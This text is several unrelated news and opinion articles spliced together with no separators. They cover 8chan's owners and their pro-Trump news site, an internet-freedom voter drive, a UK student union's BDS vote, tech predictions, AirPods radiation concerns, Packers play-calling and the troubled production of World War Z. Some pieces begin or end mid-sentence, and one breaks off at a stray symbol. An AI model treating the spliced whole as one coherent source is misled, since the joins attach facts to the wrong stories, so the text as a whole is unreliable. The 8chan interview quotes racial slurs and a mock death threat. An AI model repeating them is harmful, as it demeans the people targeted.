back in 2014. So why don’t they like him? Watkins chuckles and says, “They don’t like anybody.” Except for Donald Trump.
The Goldwater
During the election, 8chan was a key source of pro-Trump trolling. Memes and conspiracies were birthed in the fever swamps of 8chan’s message boards, such as the Bureau of Memetic Warfare, where white supremacists and internet trolls join in their disdain of “social justice warriors” and the mainstream media. Ron Watkins, who spends his days working on 8chan, said the election was a huge topic on the site overall. "Popular topics during the general election included, but were not limited to, Secretary Clinton's health, Wikileaks, Senator Sander's endorsement of Secretary Clinton, FBI investigations, Trump's rallies, time-traveling Pence and the revival of the ancient Egyptian god Kek," he said, adding that some users were against Trump. Father and son both emphasize the importance of free speech on 8chan. Jim Watkins said he has “absolutist” views of free speech, but added, “I’m not prejudiced against anybody.” “If you want to say 'nigger' or if you want to say'spick,' of course you should be able to say that,” he said. “I don’t use those words myself, but our users do.” Watkins says anyone can do whatever they want on 8chan, so long as it doesn’t break the law. He then offered an example of illegal speech by jokingly incorporating the name of a BuzzFeed News reporter he was talking to: “I’m going to kill Jane tomorrow at the post office.” In a profile of him last year, Fusion described Watkins as holding “a hodgepodge of expediently adopted political ideals in service to one very clear motivation: extracting cash from the internet.” Watkins appears to be the perfect hybrid of an old-school webhead, fringe politics consumer, internet free speech absolutist, and rich daddy that a community like 8chan needs to stay in operation. Watkins speaks with genuine pride about what he says the community accomplished during the election. “I think the users of 8channel helped get Trump elected,” he said. “You’ve got a million people a day looking at 8channel, on a good day. It’s huge.” Watkins said a Trump ad ran on 8chan for “most of the election,” though he wouldn't disclose who paid for it. According to him, the 8chan's user base is filled with the kind of people who voted for the president. “Our users are from Tennessee and Kentucky, Kansas, Montana, and places like that — they all voted for Trump,” he said. “The largest board on 8channel was aggressively pushing Trump.” And so The Goldwater aims to give them the kind of news they want and will trust. “We’re doing our best to make a high-quality website,” Watkins said. “It’s getting some success. I’m really, really happy with it.” He’s already hiring more reporters, but also says not everyone is a good fit for his project. “I’m hard to work with,” he says. “I’m a little bit like Trump I guess — I say what’s on my mind.”This November, voters across the United States have an important chance to improve how elected officials approach legislating the Internet. Starting today, a coalition of Internet rights groups are starting a voter registration drive all over the country with the hope of making the voice of the Internet—heard so loudly during the SOPA debate—a permanent stakeholder in the halls of Congress.
InternetVotes.org has made it easy for you to register to vote. Go to their site and fill out and mail in the simple form. Then November 6th, you can cast your ballot for the candidates that you believe will best uphold the principles of Internet freedom. You can also share the InternetVotes.org widget on your site, to help your visitors register as well. And please help us get the word out by posting links to Internetvotes.org on social media sites with the hashtag #internetvotes.
For too long, Congress has ignored the basic digital rights of Internet users in favor of deep-pocketed special interests. But on January 18th, Congress got a wakeup call in the form tens of millions of citizens protesting the dangerous Stop Online Piracy Act (SOPA), a bill that would have allowed corporations and the government to censor large swaths of the Internet with little or no oversight.
It was a great victory for the Internet, and we killed a bill that DC insiders thought could not be stopped. But it’s important to remember that Congress spent much of 2012 attempting to pass misguided and rights-restricting bills affecting the Internet, despite the protests. Without your voice to counter the special interests, they’ll continue to do so.
In June, the House of Representatives passed CISPA, a bill intended to address cybersecurity concerns, but which was written so broadly it would have carved out a massive exception to all existing privacy laws. We stopped this bill in the Senate, though, in part thanks to the outcry of Internet users who didn’t want their online privacy sacrificed.
And just a couple weeks ago, the House also voted for a five-year extension for the dangerous FISA Amendments Act, which was used to sweep the NSA warrantless wiretapping program—that collects and stores copies of Internet traffic—under the rug. Despite extensive and incontrovertible evidence that the law allows the warrantless wiretapping of American citizens, members of both parties refused to add common sense privacy safeguards to stop Americans’ emails and other Internet activities from being collected and reviewed by the millions.
And Congress isn’t finished trying to mess with the Net. Just this weekend, CNET reported the FBI is renewing its push for a broad Internet surveillance bill that would force companies like Facebook, Google, and Skype to install backdoors into all their software to allow law enforcement real-time access to communications. We also know the content industry wants Congress to take another crack at a SOPA-like bill, as the MPAA has recently been handing out talking points to representatives extolling copyright maximalism, perhaps paving the way for SOPA 2.0.
But what could a more Internet-friendly Congress do? Well, there is a ton of common sense legislation waiting in the wings that could prevent censorship, improve user privacy online and spark innovation. By voting, you could help make these bills law next session. Take a look:
Patent reform: A new bill sponsored by Rep. DeFazio would fix much of the broken patent system that is engulfing giant tech companies in billion dollar patent suits and paralyzing up-and-coming companies with legal costs. The only parties benefiting from software patent wars seem to be big law firms and patent trolls. Visit EFF’s site defendinnovation.org for more.
Email privacy: Both the House and Senate have ECPA reform bills that would finally bring warrant protection to emails. We saw just last week that the Senate delayed this bill yet again after law enforcement expressed concerns it would hinder their investigations. Of course, this bill wouldn’t create any new rights; it would just bring the protections for our email into alignment with our rights with physical mail and phone calls.
Cell phone privacy: The GPS Act in the Senate and a corresponding bill in the House would force law enforcement to get a warrant for our cell phone location data as well. Your cell phone, which pings a cell phone tower every seven seconds, is one of the most privacy invasive tools out there; it can give your precise location to authorities twenty-four hours a day. And law enforcement made a staggering 1.3 million requests for such data last year—a vast majority of the time without a warrant.
Congress needs to know that the Internet is watching and that users won’t sit on the sidelines as technology intended to connect us and bring knowledge to people worldwide is turned against us for the purposes of censorship and surveillance. A movement of informed, passionate Internet users exists and we want Congress to hear loud and clear that we’re willing to cast their votes in defense of Internet freedom. And it starts today, with a few clicks of a button. Visit InternetVotes.org and register to vote.National Union of Student (NUS) votes to officially join BDS movements; same NUS refused to condemn ISIS.
The UK's official student body, the National Union of Students (NUS), has voted to boycott all Israeli companies and officially affiliate with the Boycott Divestment and Sanctions (BDS) Movement.
The vote was taken during a meeting of the NUS Executive Council on Tuesday.
Motion 518a - entitled "Solidarity with Palestine: Boycott, Divestment & Sanctions" - was tabled by the School of Oriental and African Studies (SOAS). SOAS has been a hotbed of anti-Israel activities, and many Jewish students have complained that anti-Semitic harassment and bullying is rampant at the institution.
According to the Jewish Chronicle, the vote was conducted via secret ballot, and was initially due to be held at the NUS national conference in April, but postponed due to shortage of debate time.
The vote follows last year's decision by NUS to endorse the BDS movement and encourage students to participate in actions against Israel, triggering condemnation from the Union of Jewish Students (UJS).
Astonishingly, the same NUS last year rejected a motion condemning the brutal ISIS terrorist group, claiming that a motion by pro-Kurdish students to do so was "Islamophobic."Last week a reader told me that six predictions for 2017 weren’t enough and that I owed him four more, so here they are.
Prediction #7 — Not the demise of Bitcoin, but finally an acceptance of what the crypto currency is (and isn’t). My son Cole, who is 12 (and now taller than me), was for awhile a Bitcoin miner. We bought a used Ant Miner last year on eBay, equipped it with a proper power supply and set it going 24/7 in the Man Cave, where most boyish things happen around here. The rig was incredibly loud and — after the first electric bill arrived — totally uneconomic. We were paying twice as much for electrons as Cole was receiving in Bitcoins for his labor. Anyone with a robust solar installation want to buy an Ant Miner?
Then a few weeks ago Bitcoin prices started to rise again and I saw Bitcoin stories with headlines like Too Big to Fail. Yet what goes up seems to inevitably come down because Bitcoin prices crashed yet again a few days ago. This led me to a realization that I think is going to become popular: Bitcoin is an excellent transfer currency but as a longer term store of value it sucks and that isn’t likely to change.
Bitcoin is a great idea, blockchain is an even better idea, but since neither is backed by the full faith and credit of, well, anyone, a Bitcoin will always be a sorry substitute for a dollar or a yen. The price of Bitcoins will rise as folks in China find the need to use them to get money out of that country. But when their money finally is out of the China it is inevitably converted straight into dollars and the Bitcoin crashes as a result. So there may be some cyclical arbitrage opportunity in Bitcoins, timing the market to take advantage of the suckers, but as a true currency, Bitcoin will probably never cut it.
This says nothing about technical merit, mind you. What matters here is psychology and behavior. It’s the “full faith and credit” thing. Without it Bitcoin can’t be trusted to be any more than a short-term monetary value mule.
And we’ve seen this effect before. PayPal would love if we’d leave our nominally dollar-denominated savings deposited in PayPal and storied in the form of, I guess PayPals or whatever you’d call them. But most people don’t carry a PayPal balance of any note, either. PayPal’s recent policy about this has changed a bit and I think that, too, is a psychology experiment. It used to take three business days to get PayPal money into your bank account but that time just switched to one business day. Much better, but I doubt that anything technically changed in their system. Rather PayPal probably figured out that the best way to get people to keep at least a small balance in PayPal wasn’t to make it difficult to take money out but to make it easier. If you can get it in a day, well then why even bother to move the money? You’ll just end up needing it to buy something with, anyway.
Prediction #8 — Apple Video. According to the Wall $treet Journal Apple is adding some original video content to its Apple Music streaming service. I think this presages a new — yet to be announced — Apple video service.
Apple appears to be doing a modified version of Amazon’s Prime strategy. Subscribe to Prime and, in addition to two-day shipping, you get thousands of hours of video to stream. Subscribe to Apple Music and you’ll (eventually) get thousands of hours of video. Or not…
Netflix and Amazon Prime each have about five times as many subscribers as Apple Music, so that’s the target. If Apple reaches 100 million subscribers (from the current 20 million) that will mean $1 billion in revenue per month with some amount of that available to support video. But not very much, actually, if we remember Apple likes high margin businesses and they are already paying the musicians from that same $10. So this addition of original video programming to Apple Music is unlikely to change it into a Netflix competitor despite what the Wall $treet Journal has to say. More likely it’s a marketing tool. Throw a little video into Apple Music and use that to boost subscribers and prepare the world for the real service which I predict will be called Apple Video.
Apple Video will cost another $10 ($10 just for video on top of $10 for music if it is a combined product, which I frankly doubt) if they go head-to-head with Netflix or $20+ more if they decide to add live network content and compete with the new OTT cable providers. My guess is that Apple will offer both types of services. Netflix now has a $6 billion budget for video of all kinds (original and licensed) so Apple will have to spend the same to compete. Apple can afford to spend that kind of money with confidence that the audience will eventually grow revenue.
So in terms of business impact on the video production (originals) and movie industries we can see an additional $6 billion in revenue from Apple having two impacts over the next couple of years. It will grow the business but also push prices higher because this is $6 billion in additional demand. Notice I don’t include television revenue in this number because that’s OTT revenue from essentially carrying existing networks like broadcast, HBO, etc. It’s a different pool of money that will eventually be about the same size — another $6 billion if Apple is successful. And why shouldn’t they be successful? They have the money, have the style, have 20 million Music subscribers and 200 million credit card numbers. There will be multiple OTT success stories and Apple is well positioned to be one of those.
Half of my audience wonders what this means for Apple shares? Well 100 million subscribers at $20+ per month is at least $24 billion per year and definitely a business worth Apple’s time. Say they are able to maintain their current margins of about 38 percent that means an extra $9 billion in profit per year. At Apple’s historic P/E ratio of about 13 that should add $118 billion in market cap, which is interesting because that’s more than Netflix is worth today. THAT’s why it makes more sense for Apple to build rather than just buy Netflix, though there’s an extra risk in doing so. An extra $118 billion in market cap would take the stock, currently at $122, to $144. That’s not Earth-shaking but it IS progress and solid growth almost without regard to what happens with the rest of the market, which could be key over the next couple years of market uncertainty.
Prediction #9 — The rise of inter-cloud services. We’re in our second consecutive Year of the Cloud with this one bigger than the last and every cloud provider business plan is pretty much the same: use my cloud, it can do everything you need to do. Every cloud is a silo so if you choose Amazon’s cloud that means you pretty much aren’t choosing Google’s or Microsoft’s.
But why would you want to choose Google or Microsoft if Amazon was already doing so well? It’s that eggs and baskets thing, again. While there are efficiencies to be gained by choosing a cloud provider and sticking to that choice, what happens when there is a big service outage? You and your customers are screwed.
I’m beginning to think all these cloud monopolies aren’t natural and are likely to fail over time. This is not to say that the companies or the clouds, themselves, will cease to exist. What I mean is that a new class of startups is coming that will undermine cloud solitude in order to benefit cloud service and security overall.
Maybe it’s a backup service from one cloud to another in a few seconds. Maybe it’s just capacity planning and failover, but I think startups will be showing us how to link databases and the code between genetically dissimilar clouds just to keep everything working in times of stress. It’s inevitable and 2017 is the year this will happen.
Prediction #10 — Nobody wins the Google Lunar X-Prize. Just yesterday the X-Prize Foundation announced that there are five teams still left in the running for the Google Lunar X-Prize (GLXP), which is scheduled to be finished one way or another by the end of this calendar year. There were by my calculations, only two GLXP teams that had an even remote chance of winning — SpaceIL from Israel and the Part-time Scientists from Germany. Well the Part-time Scientists didn’t make this week’s short list and that’s the only real news. Maybe their backer, Audi, didn’t want to pay the big bucks for a Falcon 9 launch, I simply don’t know. But the departure of the |
absorption rate (SAR), which measures how much radiation is absorbed by the body, is 0.466 watts per kilogram, well below the U.S. legal limit of 1.60 w/kg set by the Federal Communications Commission. It’s also below the 1.58 w/kg you would get from holding the iPhone 7 itself against your head or body.
Jerry Phillips, a biochemistry professor at the University of Colorado who has studied health effects of radiation frequencies similar to Bluetooth, says that standard isn’t robust. The SAR safety levels were based on the assumption that radiation from sources like Bluetooth, WiFi, and cell phones was safe unless it heated tissue. “That’s been shown to be absolute nonsense. Biological effects have been shown at very low SARs to the point where there is no measurable increase in heat,” Phillips says. He adds that we don’t know whether effects of exposure could add up over time.
Based on his own research, Phillips is concerned that, along with permeating the blood-brain barrier, AirPods and other devices could damage DNA. Some of his research was funded by Motorola, which he says asked him not to release his results and stopped funding his work after he published a major paper on the topic.
“What bothers me the most about AirPods is it’s taking cell phones one step deeper into the head. It’s a significant amount of power being delivered even closer to the brain. It just doesn’t make sense,” he says.
Not all scientists agree. Kenneth Foster, a bioengineering professor at the University of Pennsylvania, says that many studies did not find that radio-frequency radiation affected the blood-brain barrier. “The health agencies that have evaluated this simply haven’t found any problems at exposure levels that were even higher than Bluetooth,” Foster says. “If someone is concerned for any reason, good or bad, they should take precautions, but I don’t think the evidence is strong enough for a health expert to stand up and say we should be cautious.”
John Moulder, who taught radiation oncology at the Medical College of Wisconsin and published a paper about the health effects of WiFi with Foster, says AirPods are unlikely to pose health risks, especially because the Bluetooth transmitter hangs down from the ear. “I don’t see any real possibility of brain exposure at all, let alone an exposure high enough to get in the credible range of the blood-barrier effect,” he says. “There’s no biological or physical basis for concern about exposure levels this low, especially if it’s not transmitting most of the time.”
(Kirschner at Apple confirmed that the AirPods, like other Bluetooth headsets, will constantly transmit signals while they are in your ears.)
Foster and Moulder have received research funding from the Wi-Fi Alliance and the Mobile Manufacturers Forum, trade groups whose members include Apple, Samsung Electronics, and other cell phone manufacturers. They said the funders did not influence their research. Moulder has also served as an industry consultant.
U.S. regulators, including the Food and Drug Administration, the Federal Communications Commission and the Centers for Disease Control and Prevention, say that available science has not definitively linked exposure to radiation from Bluetooth, WiFi, and cell phones with health problems. “If there is a risk from being exposed to radio-frequency energy from cell phones—and at this point we do not know that there is—it is probably very small,” according to the FDA website.
Major recent studies have sent mixed signals. In 2010, a 13-country study from the World Health Organization found no overall elevated risk for two types of brain tumors after 10 years of cell phone use. However, it did find an increased risk of glioma, an aggressive brain tumor, in the very heaviest users.
In 2011, after looking at dozens of peer-reviewed studies, the WHO’s International Agency for Research on Cancer classified cell phone radiation as “possibly carcinogenic” to humans. The same year, one of the largest studies of cell phone users ever, which included nearly 360,000 people in Denmark, found that long-term use did not increase the risk of brain tumors, but it did not rule out an elevated risk for those who used cell phones for more than 10 or 15 years. The study looked at the length of cell phone subscriptions rather than actual use.
In May, the U.S. National Toxicology Program released preliminary results of a two-year study that showed exposure to cell-phone radiation increased the risk that male rats developed tumors on their brains and hearts (the results didn’t show up in female rats). The study has been controversial. Michael Lauer of the National Institutes of Health, one of its reviewers, wrote that he didn’t accept the results because of the likelihood of false positives. But Otis Brawley, chief medical officer of the American Cancer Society, called the study “good science,” and the American Academy of Pediatrics issued recommendations to reduce children’s exposure to cell phones in response to the results.
“The findings of the NTP constitute important signals that there are very serious health issues tied with microwave radiation from cell phones and other devices. At this point, the question is not whether cell phone radiation causes cancer, but how we can best reduce exposures,” said Ronald Melnick, a former senior NTP scientist and an advisor to advocacy group Environmental Health Trust, in a statement responding to Apple’s release of the iPhone 7 and AirPods.
What to make of the varied findings? The CDC concludes that, “More research is needed before we know if using cell phones causes health effects.” Moskowitz and Phillips agree more studies should be done, noting that research funding on the topic has largely dried up in the U.S. No studies have looked at effects of cell phone use for longer than 15 years.
Meanwhile, Moskowitz has tried to bring attention to the issue. In 2009, he and colleagues published a meta-analysis that found “possible evidence” of a link between cell phone use and tumor risk and urged further study. (Today he says the link is “highly probable.”) Last year, Moskowitz was among five scientists who organized the International EMF Scientist Appeal, which urged major international bodies to develop stronger guidelines and educate the public on health risks. It garnered 222 signatures from radiation researchers in 41 countries. In July, he sent an open letter to the FCC asking the regulator to reassess research on radio-frequency radiation and strengthen standards.
He has also advised Berkeley officials on a new law that requires cell phone retailers to post a warning about possible radiation risks in stores. The law went into effect earlier this year but is currently being challenged by a cell-phone trade group in a federal appeals court.
Moskowitz himself doesn’t own a smart phone and usually keeps his cell phone in his briefcase. He recommends using a wired headset or speaker phone, rather than holding the device against your head. He also discourages keeping a cell phone in your pocket, bra, or anywhere close to your body, and suggests turning your phone off or keeping it in airplane mode when possible. Children, pregnant women, and the elderly should be particularly cautious, he says. In general, he says, “distance is your friend”—keeping the phone farther from your body dramatically decreases radiation exposure.
For his part, Phillips only uses a speaker phone and tries to keep his phone off, sitting either in his bag or on the far corner of his desk. He never puts it in his pocket. He says: “[Cell phone companies] don’t have a bunch of biomedical researchers testing this stuff as engineers propose it. When engineers are in a room trying to come up with bigger or better things to do, I don’t think there’s much thought given to what the work means in terms of effects to a real person.”GREEN BAY, Wis. -- If Aaron Rodgers is the quarterback, it probably doesn't matter who calls the plays for the Green Bay Packers.
Mike McCarthy.
Tom Clements.
Or Rodgers himself.
Packers quarterbacks coach Alex Van Pelt called Aaron Rodgers "a coordinator on the field." Ronald Martinez/Getty Images
"He has," Packers quarterbacks coach, Alex Van Pelt, said when asked if Rodgers could call plays. "He could. Sure. Definitely."
Don't think Rodgers' vast experience didn't have something to do with McCarthy's decision to give up play-calling duties for the first time in his tenure.
Officially, he handed them to Clements, who was promoted from offensive coordinator to associate head coach/offense earlier this offseason. But with Rodgers entering his 11th NFL season and his eighth as a starter, there's not much he hasn't seen or can't handle.
"He’s pretty active during all the games," Van Pelt said. "Yeah, he's a coordinator on the field."
Rodgers, in his first comments since McCarthy announced he would give up play-calling duties, said he did not think the change would impact the Packers' offense, which led the league in scoring last season.
But it could actually give Rodgers even more control over play selection, and he already had perhaps more say in the offense than any quarterback this side of Peyton Manning.
"I've always had a lot of freedom," Rodgers said. "It's just occasionally the personnel groupings restricts some of the checks you can make. But that's kind of a natural progression for a quarterback who's been in a system for a long time, if they can handle it to do more things. I have always liked a good starting point for a play and then have the ability to get us in a better play if you can do it quickly and it’s clean."
Clements would not say just how much freedom Rodgers has had in the past -- or will have now.
"Obviously, he's a veteran and he has a lot of experience and he has thoughts during the week and during the game," Clements said. "And we try to take all input."
It’s not like much needs to change. The Packers led the NFL in scoring (30.4 points per game) last season. Rodgers won his second league MVP award in four years. And the Packers have their entire starting 11 on offense back this season thanks to general manager Ted Thompson's decision to re-sign receiver Randall Cobb and right tackle Bryan Bulaga before they hit free agency in March.
"We’re going to have the same offense," Clements said. "We're going to run the same plays. We're going to tweak things here and there. Mike met with him a lot last year. I'll meet with him. I'll be in meetings with him throughout so that when we reach game day, we're on the same page. So I don't think much will change."
Rodgers has some experience as a playcaller. McCarthy actually gave him those duties in the 2011 regular-season finale against the Detroit Lions as a way to keep him involved even though Rodgers was held out of the game to rest for the playoffs. In that game, backup Matt Flynn threw for 480 yards and six touchdowns -- both team records at the time.
The play-calling change is just another reason for Rodgers to be a full participant in these voluntary OTAs, something he has done throughout his career.
"This is why I need to be here, because there's a couple of offenses; there's one that's on paper, and there's one that's run in the game," Rodgers said. "You're always trying to build a bridge between the two, and that's when you do it is right now."ZOMBIELAND Left, extras run for their lives on the set in Glasgow, Scotland, in the summer of 2011. Right, World War Z’s star and producer, Brad Pitt., Left, BY PETER BROOKER; Right, BY LUKE INMAN; BOTH FROM REX USA.
The streets were slick with rain on April 13, 2012, when Damon Lindelof climbed the winding road to Brad Pitt’s hillside estate, overlooking Los Angeles. The 40-year-old Lindelof, a screenwriter and a creator of the hit show Lost, had been summoned by his agent to meet Pitt to talk about *World War Z—*the star’s film based on the 2006 Max Brooks novel—whose release later that year would be delayed. For months, Hollywood gossips had whispered about Pitt’s troubled zombie thriller. Key executives were fired. The movie was over-budget. There were rumors that Pitt, who both produced and starred in the film, had stopped speaking to the director, Marc Forster. Lindelof told his agent when he called, “I should see something, read a script.” “No, they just want to meet you cold,” the agent replied. “They” referred to Pitt and his colleagues from Plan B Entertainment, the actor’s 11-year-old production company. A week earlier Pitt’s respected right hand, Dede Gardner, had called Lindelof to give him a heads-up. “Don’t be nervous or stressed out,” she said of meeting her boss. The morning of the meeting Lindelof received an e-mail asking what kind of coffee he wanted from Starbucks. Arriving at about two P.M., he was escorted to Pitt’s office, a sparsely furnished room with large windows, four chairs, and a table overlooking a parking area and swaying trees. There, Pitt and a grande soy latte were waiting. “He took me through how excited he was when he read the book, what was exciting for him, the geopolitical aspect of it,” Lindelof said, recounting the meeting over tea at Shutters on the Beach in Santa Monica on a sunny Tuesday in January. He said Pitt explained, “ ‘But when we started working on the script, a lot of that stuff had to fall away for the story to come together. We started shooting the thing before we locked down how it was going to end up, and it didn’t turn out the way we wanted it to.’ “My sense of it was he was taking responsibility,” Lindelof went on. Pitt asked him to watch a recent edit. “The thing we really need right now is someone who is not burdened by all the history that this thing is inheriting, who can see what we’ve got and tell us how to get to where we need to get,” the actor said. Two weeks later, Lindelof was seated in Screening Room 5 on the Paramount lot, where he watched a 72-minute edit of World War Z. The ending was abrupt, an incoherent montage of footage smashed together. But there was something else about the movie gnawing at him when the lights came up. Where was the other 50 minutes? “It’s a Zombie Movie”
This year’s crop of big-budget blockbusters have seen more than their share of drama. Disney’s The Lone Ranger was shuttered in pre-production after the original budget soared to nearly $250 million, forcing Johnny Depp and others to defer their fees. 47 Ronin, starring Keanu Reeves as an outcast turned samurai, was delayed a year as its cost reportedly ballooned to $225 million—from $175 million—because of the fumbling of a novice director. And who could forget last summer’s expensive mishaps, Disney’s $250 million John Carter and Universal’s $220 million Battleship? But no movie has gotten more tongues wagging than World War Z, Brad Pitt’s first foray as the star and producer of his own potential franchise, which, one could argue, he has avoided in his career like a zombie plague. Since 2006, when Paramount optioned the book for Plan B, four successive writers have been hired to overhaul the script, an experienced producer and an Oscar-winning visual-effects artist have left the project, and the filmmakers have shot and thrown out an expensive 12-minute climactic battle scene, which they have replaced with a re-written, reshot, scaled-down ending, upping the movie’s budget to more than $170 million. Paramount admits to that amount, which means the real figure is probably higher—sources from rival studios say that the actual number is more like $210 million, while others, reveling in Paramount’s misfortune, gloat that the budget is closer to $250 million. (Paramount denies both of these higher estimates.) World War Z will hit theaters this month, six months later than expected. If Paramount and Pitt are lucky, the studio and its financial partners will earn back the movie’s costs plus more. If not, Paramount will go down as having made the most overpriced zombie movie in Hollywood history. Though the impetus to make World War Z reflects the economics of today’s Hollywood, where studios rely on a predictable stream of franchises based on either well-known characters or proven brands anchored by a movie star with international appeal, everyone involved in the movie had a different motivation for making it. Paramount has lost lucrative business partnerships with DreamWorks and its sibling, DreamWorks Animation, as well as Marvel Entertainment—although it retains distribution rights to four Marvel movies, the first two Iron Man movies, Captain America, and Thor—which means the studio needs to create new franchises. (The Walt Disney Company bought Marvel in 2009.) Marc Forster, whose artistic temperament seems best suited to contained emotional dramas like Stranger than Fiction and Finding Neverland, hopes to rebuild his action-movie cred after being skewered by critics for the James Bond sequel Quantum of Solace. (The Wall Street Journal called Quantum of Solace a “model of mediocrity.” Slate wrote that Forster had “no feel for action sequences.”) Bearing the weight of their expectations is Pitt, who has undeniable global appeal despite an acting career comprising as many admirable misses as hits. He’s been nominated for four Academy Awards, but he’s never won. More recent outings, including Killing Them Softly, The Tree of Life, and The Assassination of Jesse James by the Coward Robert Ford, have failed to entice moviegoers in large numbers, who instead swoon whenever Pitt plays a masculine hero like Achilles in Troy or John Smith in Mr. and Mrs. Smith, or delight in his devilish charm in ensemble films, such as the Ocean’s franchise and Inglourious Basterds. His career as a producer is less distinguished. Plan B is known mostly for producing small, moody dramas (Killing Them Softly among them) directed by eclectic filmmakers. At Paramount, Plan B had never attempted anything as big as World War Z. Dede Gardner, president of Plan B since 2003 and a former Paramount executive, defended Pitt and their company, saying, “He produced Eat Pray Love with me, which was a pretty big movie.” That said, creating a special-effects-driven action blockbuster with the scope and size of World War Z demands a different set of skills than those needed for an emotional travelogue starring Julia Roberts. Every movie is modified one way or another: script revisions are common and studios are increasingly shooting additional footage after principal photography is done. And other movies with troubled pasts have gone on to reap big rewards. Apocalypse Now was supposed to be shot in a few months but dragged on for more than a year after its star, Martin Sheen, had a heart attack and the set was shut down due to a typhoon. That movie is considered a masterpiece of 1970s filmmaking. Gone with the Wind was delayed for two years, subjected to numerous re-writes, and shot by no fewer than three directors. It won eight Oscars. But those involved with World War Z acknowledge that its ambitions are less epic, more commercial. “It’s a zombie movie,” said Ian Bryce, one of the producers. “They go around and bite people.” Still, no one, least of all Brad Pitt, can afford to let World War Z fail. Trial by Fire
Like all good dramas, World War Z started with a fight. In the summer of 2006, Plan B and Appian Way, Leonardo DiCaprio’s production company, were locked in a bidding war over the movie rights to Brooks’s book World War Z: An Oral History of the Zombie War. Each had been sent a manuscript of the geopolitical thriller that documented a zombie apocalypse via a series of detailed first-person accounts. It was atypical movie fare—fashioned after Studs Terkel’s Pulitzer Prize-winning book, The Good War—and written as an allegory for how self-interested countries would react to a global pandemic. “I was surprised they cared about the proj ect,” said Brooks, who is the son of Mel Brooks and Anne Bancroft and has written two books about zombies. “There was no glitter.” Pitt prevailed, and Paramount acquired the book rights for Plan B for about $1 million, according to studio sources. Plan B hired J. Michael Straczynski, a well-regarded screenwriter of horror and science fiction (he is best known for creating the television show Babylon 5), to write the adaptation. “It felt very much in his wheelhouse, and he was incredibly articulate about it,” said the 45-year-old Gardner, who studied English at Columbia University in the late 1980s and cited Laura Ingalls Wil der as her first literary influence. At about the same time, Pitt sent Marc Forster a copy of the book. The two had tried to develop a movie about a man afflicted with AIDS, which didn’t go anywhere, and this new proj ect intrigued Forster. “There is no better metaphor than the walking dead as, sort of, the unconscious,” said Forster in a January interview. Society is numb to overpopulation and consumerism, issues he said could be explored thematically with mindless zombies. “In that sense I found you have an incredible opportunity to make a blockbuster movie that has some sort of substance.” In 2008, at Pitt’s urging, Forster was hired to direct World War Z. Marc Forster is tall and slender, 43, often clad in black pants and a snug zippered hoodie. He is economical with words and prone to awkward silences, something he chalks up to his German-Swiss background. “I’m very … more quiet, less spoken,” he said. His 2002 breakout, Monster’s Ball, a $4 million film, was an artistic triumph where he coaxed an Oscar-winning performance out of Halle Berry as the wife of a man on death row. In 2008, Forster directed his first blockbuster, Quantum of Solace, which earned $586 million at the global box office but was panned by some critics for its cold detachment and lack of visceral thrill. From the start, Forster’s approach to the material clashed with Stra czyn ski’s. “Marc wanted to make a big, huge action movie that wasn’t terribly smart and had big, huge action pieces in it,” said Stra czynski. “If all you wanted to do was an empty-headed Rambo-versus-the-zombies action film, why option this really elegant, smart book?” Zombie films are typically low-budget endeavors, despite the mainstream popularity of television shows like AMC’s The Walking Dead. Back in 2002, 28 Days Later, directed by Academy Award winner Danny Boyle, re-energized the zombie-horror genre with its virus-infected monsters and engaging plot. It was financed for only $8 million and earned almost $83 million worldwide. All owe a debt to George A. Romero’s 1968 classic, Night of the Living Dead, which was cited by the Library of Congress in 1999 for its cultural significance. But even that movie, which some film historians surmised was a critique of 1960s culture and the Vietnam War, was filmed for an estimated $114,000, which, adjusted for today’s inflation, would come to a paltry $742,130. In December 2008, Straczynski said, he turned in another draft of World War Z, pumping up the action to make it more palatable to Forster. Apparently, it didn’t stand a chance. “They slammed the door so hard in my face it came off the hinges,” said Stra czynski. Forster claimed he was unaware of tension with the writer. “I personally had no animosity,” he said. Max Brooks’s book, he explained, did not offer the real-time urgency the filmmakers wanted. Instead, Plan B hired Matthew Michael Carnahan, notable for political dramas like The Kingdom and Lions for Lambs, to re-write the script. Carnahan deviated significantly from Brooks’s book, scrapping the first-person accounts and basing the story on a former United Nations field specialist and family man named Gerry Lane, who was not a character in Brooks’s manuscript but was borrowed from Straczynski’s draft. The movie became an action adventure, with Lane forced to leave his wife and two daughters to hopscotch the globe seeking a cure to save the world from zombie domination. That struck a chord with Pitt. “It felt exciting to think about: Can we make a global thriller that is also a zombie movie?” said Gardner. In 2010, Pitt agreed to star. Paramount was thrilled. Now Pitt, Paramount’s most famous producing partner and an international celebrity, would have a franchise of his own. “The idea of Brad saving the world from zombies and going back to his wife and kids, yeah, that’s interesting to me,” said Brad Grey, chairman and chief executive of Paramount Pictures, who had wooed Plan B to the studio in 2005. But Grey also had a personal reason to back Pitt’s proj ect; the actor is a close friend and Grey had co-founded Plan B with him, along with Pitt’s then wife, Jennifer Aniston. (Grey sold his stake when he joined Paramount in 2005. Aniston sold hers the same year.)
Paramount originally agreed to green-light the film with a budget of about $150 million, said studio executives, an eye-popping sum for a horror film and even more so for the zombie genre. Because the story took Pitt around the world, the movie would be easy to market internationally, executives reasoned. And Paramount planned to convert the movie into 3-D, a big draw for Russian, Brazilian, and Chinese audiences, which meant the studio could earn a substantially higher price over regular tickets. Indeed, China, which limits the number of foreign movies imported yearly, is so important that, Paramount said, the filmmakers deleted a reference to intercepted e-mails from China, where, in Brooks’s book, the zombie scourge originates. Rob Moore, vice-chairman of Paramount Pictures, said the film has not yet been screened by Chinese censors. But, he said, “China has become the second-biggest market, and we evaluate how things play there.” At the same time, Brad Grey acknowledged that Marc Forster had limited experience directing a big-budget blockbuster the scope and size of World War Z. So, to protect the studio’s financial investment and that of their partners, Paramount surrounded Forster and Pitt (as a producer) with a highly trained crew experienced with making expensive, special-effects-driven action movies. “What you want to do, in my judgment, is breed more producers and directors who know how to make these pictures,” said Grey. “That is not an easy thing to do. Mistakes can be made if you don’t have experience. But I think it’s good, when all is said and done, to learn trial by fire.” Monster’s Ball
